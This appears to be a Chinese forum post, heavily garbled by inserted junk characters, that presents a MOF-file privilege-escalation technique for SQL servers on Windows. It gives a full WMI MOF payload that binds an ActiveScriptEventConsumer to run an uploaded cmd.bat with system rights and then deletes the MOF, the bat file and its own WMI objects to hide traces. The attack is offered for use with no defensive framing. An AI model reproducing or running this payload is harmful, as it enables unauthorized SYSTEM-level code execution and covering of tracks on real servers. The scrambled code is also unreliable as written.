这个sql提权MOF需要运行 system下的文件,不能定义路径。 K( k; A* f1 f& I* o& ]5 }
需要将要运行的命令写入到bat上传到system32目录,然后执行。7 N+ v5 Z' j5 l3 U
6 F; D% o: Z* b8 W0 U3 K3 G
这个sql提权MOF需要运行 system下的文件,不能定义路径。
0 ~- _3 u+ G5 ]需要将要运行的命令写入到bat上传到system32目录,然后执行。
6 F, ^& E% t# ]9 L; H7 _; c8 }7 `) x8 s" C' B; L
#pragma% T: U- l4 `* ?1 G% K
namespace("\\\\.\\root\\cimv2"), i" ?# O8 G$ @
class
K; C' u# i2 T: k9 f7 a' \ MyClass547& [2 h; M9 j3 m& G0 p* C- ]; m O
{ [key]( t8 \' u1 d8 h% n
string
}0 _/ v$ J" B: a) u% X0 | Name;0 f0 M" ]/ J# k. _3 S3 r! i& J
};
( t6 y# H1 F" g7 j* R class- x4 E7 [; o, u2 g
ActiveScriptEventConsumer
' s8 K/ N7 H% C: z: E9 Q& e : __EventConsumer { [key] m4 W; a, ~2 z' w' h7 m
string
. N x- P+ b Y) o Q7 z2 A" O Name; [not_null]
) ]; B: q `, \; ^0 X string
( @9 ~) J$ s* t' G ScriptingEngine; string% E5 ^6 h. }( Z% T
ScriptFileName; [template]
9 n, V' M( q7 m5 W) V. S# ]% M0 F string6 N: \& g" |$ T! M7 A* d6 z+ g# w
ScriptText; uint32 KillTimeout;
; b- L/ A, _. d }; instance of __Win32Provider as $P {
8 s; N+ k" r. p& o Name, U8 t6 e' R& l/ S a* |
=
& Z4 ^/ E. J1 ], \ "ActiveScriptEventConsumer"; CLSID =. v8 x6 |9 r5 S; X6 H1 X
"{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";
9 ]3 `. C( }3 g$ y' ^6 S1 f+ H U PerUserInitialization$ l$ \7 C/ ~. f; c! g3 g; V% g7 E
= TRUE;* Z* |' e; o7 f, d
}; instance of __EventConsumerProviderRegistration { Provider
7 j( j8 A. w* ~4 A2 j+ r = $P; ConsumerClassNames
2 f+ M& B8 ]! P, t" p& ^ =2 W/ H) y) _4 A3 S$ X( a
{"ActiveScriptEventConsumer"};
# f C' o8 \7 W% J+ }5 b6 g4 t( r };
$ V0 B+ B ]$ P, n) P8 S$ y Instance of ActiveScriptEventConsumer
1 v) k1 l. E& n, s* _5 Z9 M& U9 A as $cons { Name: h+ s: O7 @$ p3 G! |
=8 a; i" J/ C' G1 o2 O( i2 S
"ASEC"; ScriptingEngine
; v- @ h- N3 e8 ]7 L( C- s =, ?) i1 z+ M( M1 r) U
"JScript"; ScriptText( K6 y- C6 r0 }3 A7 `
=
* _1 I! @1 C4 ]7 F# | "\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};"; };6 L; B) u/ S! N
Instance of ActiveScriptEventConsumer9 _- s+ l4 T. H2 M
as $cons2 { Name; m! a% v; O$ [) j5 T# ^+ ]- ~' t
=6 m" t- x0 H) z ~- B' D
"qndASEC"; ScriptingEngine
0 `" y* w H+ n/ {" k( E8 Z =- l7 `& `& ^8 A- p& a7 P
"JScript"; ScriptText
. Z; A+ }- k) I% U, H+ G' x: k' S =
5 i) I: g. [) T. L! Y5 @5 b "\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";9 k8 u9 L* a" M* V. ?+ u
}; instance of __EventFilter as $Filt { Name' ^* _3 a; B4 M% F0 Q/ K! P
=6 r# l7 x5 ?5 u0 _. D1 `! j+ F
"instfilt"; Query7 p6 w& D3 j6 ?- w
=1 u# l# |+ D* Q- `- J* I* J" v8 p
"SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\""; QueryLanguage7 [5 d, I" y( y* R' q3 f
=
0 a: I1 y/ H2 _4 Y "WQL"; }; instance of __EventFilter as $Filt2 { Name
8 h" }8 ~; ` c# y6 J4 \' ^ =: u: m* T. l* N2 I* w9 P8 _
"qndfilt"; Query
& D, M8 N' |9 @ =$ ^) T) @0 f% Z5 d# p
"SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\""; QueryLanguage
1 u" Q% u7 ]" c6 p =
" k3 e, @/ y# W) s# c0 z "WQL"; }; instance of __FilterToConsumerBinding as $bind { Consumer B+ j9 f( Q7 {
= $cons; Filter* n- Q0 u; d/ n+ E3 n! {
= $Filt;8 p2 I' q2 q" T3 D+ z- F. Y
}; instance of __FilterToConsumerBinding as $bind2 { Consumer8 z8 o- ~4 L: W! K
= $cons2; Filter
' O6 \1 l& y. Q; [; {1 u = $Filt2;
. V0 [( B% Y6 | }; instance of MyClass547
& Y/ k' D+ p5 v9 Q6 `2 k/ k as $MyClass { Name
F( z$ N! H- n( |& q& | =
* u; M) z$ j8 }+ S/ n "ClassConsumer";: _6 E; D) I# T
}; |